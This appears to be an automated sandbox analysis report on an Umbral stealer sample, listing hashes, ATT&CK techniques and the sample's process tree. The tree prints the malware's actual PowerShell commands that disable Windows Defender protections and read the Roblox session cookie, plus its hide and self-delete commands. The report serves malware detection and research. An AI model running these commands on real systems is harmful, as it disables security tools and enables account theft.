umbral | 0465cfcd8ec390d5d4e321ca1609ee70be881b906754cb5e783201114d922fcf

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
23/01/2025, 04:21

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General

Target

CorruptX1.3.exe
Size

495KB
MD5

c57206c732c6cfaa8a4de6495732c8de
SHA1

eb4127b4a20b05a3db766b3c953f0e12eb3070e9
SHA256

0465cfcd8ec390d5d4e321ca1609ee70be881b906754cb5e783201114d922fcf
SHA512

f1205d7c5daaa6b38ec121200875c8355857252ad4d474ce629c8584e73933e050e4f74c968617908044b9e819bc099dab8866e4f065acd4aa0b203001d1a6c9
SSDEEP

6144:vloZM+rIkd8g+EtXHkv/iD4cGiqU69VeGbGkFZw9Xb8e1mqe6i:NoZtL+EP8cGiqU69VeGbGkFZwBLS

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2252-1-0x0000000000FA0000-0x0000000001022000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2844	powershell.exe
2820	powershell.exe
1644	powershell.exe
1840	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	CorruptX1.3.exe

Deletes itself 1 IoCs

pid	Process
2320	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2320	cmd.exe
2504	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
696	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2504	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2252	CorruptX1.3.exe
2844	powershell.exe
2820	powershell.exe
1644	powershell.exe
596	powershell.exe
1840	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2252	CorruptX1.3.exe
Token: SeIncreaseQuotaPrivilege	2196	wmic.exe
Token: SeSecurityPrivilege	2196	wmic.exe
Token: SeTakeOwnershipPrivilege	2196	wmic.exe
Token: SeLoadDriverPrivilege	2196	wmic.exe
Token: SeSystemProfilePrivilege	2196	wmic.exe
Token: SeSystemtimePrivilege	2196	wmic.exe
Token: SeProfSingleProcessPrivilege	2196	wmic.exe
Token: SeIncBasePriorityPrivilege	2196	wmic.exe
Token: SeCreatePagefilePrivilege	2196	wmic.exe
Token: SeBackupPrivilege	2196	wmic.exe
Token: SeRestorePrivilege	2196	wmic.exe
Token: SeShutdownPrivilege	2196	wmic.exe
Token: SeDebugPrivilege	2196	wmic.exe
Token: SeSystemEnvironmentPrivilege	2196	wmic.exe
Token: SeRemoteShutdownPrivilege	2196	wmic.exe
Token: SeUndockPrivilege	2196	wmic.exe
Token: SeManageVolumePrivilege	2196	wmic.exe
Token: 33	2196	wmic.exe
Token: 34	2196	wmic.exe
Token: 35	2196	wmic.exe
Token: SeIncreaseQuotaPrivilege	2196	wmic.exe
Token: SeSecurityPrivilege	2196	wmic.exe
Token: SeTakeOwnershipPrivilege	2196	wmic.exe
Token: SeLoadDriverPrivilege	2196	wmic.exe
Token: SeSystemProfilePrivilege	2196	wmic.exe
Token: SeSystemtimePrivilege	2196	wmic.exe
Token: SeProfSingleProcessPrivilege	2196	wmic.exe
Token: SeIncBasePriorityPrivilege	2196	wmic.exe
Token: SeCreatePagefilePrivilege	2196	wmic.exe
Token: SeBackupPrivilege	2196	wmic.exe
Token: SeRestorePrivilege	2196	wmic.exe
Token: SeShutdownPrivilege	2196	wmic.exe
Token: SeDebugPrivilege	2196	wmic.exe
Token: SeSystemEnvironmentPrivilege	2196	wmic.exe
Token: SeRemoteShutdownPrivilege	2196	wmic.exe
Token: SeUndockPrivilege	2196	wmic.exe
Token: SeManageVolumePrivilege	2196	wmic.exe
Token: 33	2196	wmic.exe
Token: 34	2196	wmic.exe
Token: 35	2196	wmic.exe
Token: SeDebugPrivilege	2844	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	596	powershell.exe
Token: SeIncreaseQuotaPrivilege	380	wmic.exe
Token: SeSecurityPrivilege	380	wmic.exe
Token: SeTakeOwnershipPrivilege	380	wmic.exe
Token: SeLoadDriverPrivilege	380	wmic.exe
Token: SeSystemProfilePrivilege	380	wmic.exe
Token: SeSystemtimePrivilege	380	wmic.exe
Token: SeProfSingleProcessPrivilege	380	wmic.exe
Token: SeIncBasePriorityPrivilege	380	wmic.exe
Token: SeCreatePagefilePrivilege	380	wmic.exe
Token: SeBackupPrivilege	380	wmic.exe
Token: SeRestorePrivilege	380	wmic.exe
Token: SeShutdownPrivilege	380	wmic.exe
Token: SeDebugPrivilege	380	wmic.exe
Token: SeSystemEnvironmentPrivilege	380	wmic.exe
Token: SeRemoteShutdownPrivilege	380	wmic.exe
Token: SeUndockPrivilege	380	wmic.exe
Token: SeManageVolumePrivilege	380	wmic.exe
Token: 33	380	wmic.exe
Token: 34	380	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2252 wrote to memory of 2196	2252	CorruptX1.3.exe	30
PID 2252 wrote to memory of 2196	2252	CorruptX1.3.exe	30
PID 2252 wrote to memory of 2196	2252	CorruptX1.3.exe	30
PID 2252 wrote to memory of 2324	2252	CorruptX1.3.exe	34
PID 2252 wrote to memory of 2324	2252	CorruptX1.3.exe	34
PID 2252 wrote to memory of 2324	2252	CorruptX1.3.exe	34
PID 2252 wrote to memory of 2844	2252	CorruptX1.3.exe	36
PID 2252 wrote to memory of 2844	2252	CorruptX1.3.exe	36
PID 2252 wrote to memory of 2844	2252	CorruptX1.3.exe	36
PID 2252 wrote to memory of 2820	2252	CorruptX1.3.exe	38
PID 2252 wrote to memory of 2820	2252	CorruptX1.3.exe	38
PID 2252 wrote to memory of 2820	2252	CorruptX1.3.exe	38
PID 2252 wrote to memory of 1644	2252	CorruptX1.3.exe	40
PID 2252 wrote to memory of 1644	2252	CorruptX1.3.exe	40
PID 2252 wrote to memory of 1644	2252	CorruptX1.3.exe	40
PID 2252 wrote to memory of 596	2252	CorruptX1.3.exe	42
PID 2252 wrote to memory of 596	2252	CorruptX1.3.exe	42
PID 2252 wrote to memory of 596	2252	CorruptX1.3.exe	42
PID 2252 wrote to memory of 380	2252	CorruptX1.3.exe	44
PID 2252 wrote to memory of 380	2252	CorruptX1.3.exe	44
PID 2252 wrote to memory of 380	2252	CorruptX1.3.exe	44
PID 2252 wrote to memory of 2440	2252	CorruptX1.3.exe	46
PID 2252 wrote to memory of 2440	2252	CorruptX1.3.exe	46
PID 2252 wrote to memory of 2440	2252	CorruptX1.3.exe	46
PID 2252 wrote to memory of 1204	2252	CorruptX1.3.exe	48
PID 2252 wrote to memory of 1204	2252	CorruptX1.3.exe	48
PID 2252 wrote to memory of 1204	2252	CorruptX1.3.exe	48
PID 2252 wrote to memory of 1840	2252	CorruptX1.3.exe	50
PID 2252 wrote to memory of 1840	2252	CorruptX1.3.exe	50
PID 2252 wrote to memory of 1840	2252	CorruptX1.3.exe	50
PID 2252 wrote to memory of 696	2252	CorruptX1.3.exe	52
PID 2252 wrote to memory of 696	2252	CorruptX1.3.exe	52
PID 2252 wrote to memory of 696	2252	CorruptX1.3.exe	52
PID 2252 wrote to memory of 2320	2252	CorruptX1.3.exe	54
PID 2252 wrote to memory of 2320	2252	CorruptX1.3.exe	54
PID 2252 wrote to memory of 2320	2252	CorruptX1.3.exe	54
PID 2320 wrote to memory of 2504	2320	cmd.exe	56
PID 2320 wrote to memory of 2504	2320	cmd.exe	56
PID 2320 wrote to memory of 2504	2320	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2324	attrib.exe

C:\Users\Admin\AppData\Local\Temp\CorruptX1.3.exe
"C:\Users\Admin\AppData\Local\Temp\CorruptX1.3.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2196
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\CorruptX1.3.exe"
  2⤵
  - Views/modifies file attributes
  PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CorruptX1.3.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:596
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:380
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2440
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1840
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:696
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\CorruptX1.3.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d1f8ec99fdb2a6ce7d153ea8c6bbf822

SHA1
1234b658eb5bb91432c468edd7125a33d6c8970a

SHA256
39d50d19c651f90bd557695ebbe0643026e0c3bcb06267b20db3cf7a04e9473f

SHA512
7f28c83536be543911b5519c313c3137da0e411c5fc6bb4f2d162e83d6b211a938cf6bbb6f6f1a6c9faa03bdee5313b456288474e7ed6a9fbecceeb1d18f4a08

Download Submit
memory/1840-43-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2252-0-0x000007FEF5983000-0x000007FEF5984000-memory.dmp

Filesize
4KB

Download
memory/2252-1-0x0000000000FA0000-0x0000000001022000-memory.dmp

Filesize
520KB

Download
memory/2252-2-0x000007FEF5980000-0x000007FEF636C000-memory.dmp

Filesize
9.9MB

Download
memory/2252-47-0x000007FEF5980000-0x000007FEF636C000-memory.dmp

Filesize
9.9MB

Download
memory/2820-14-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download
memory/2820-15-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2844-7-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2844-8-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download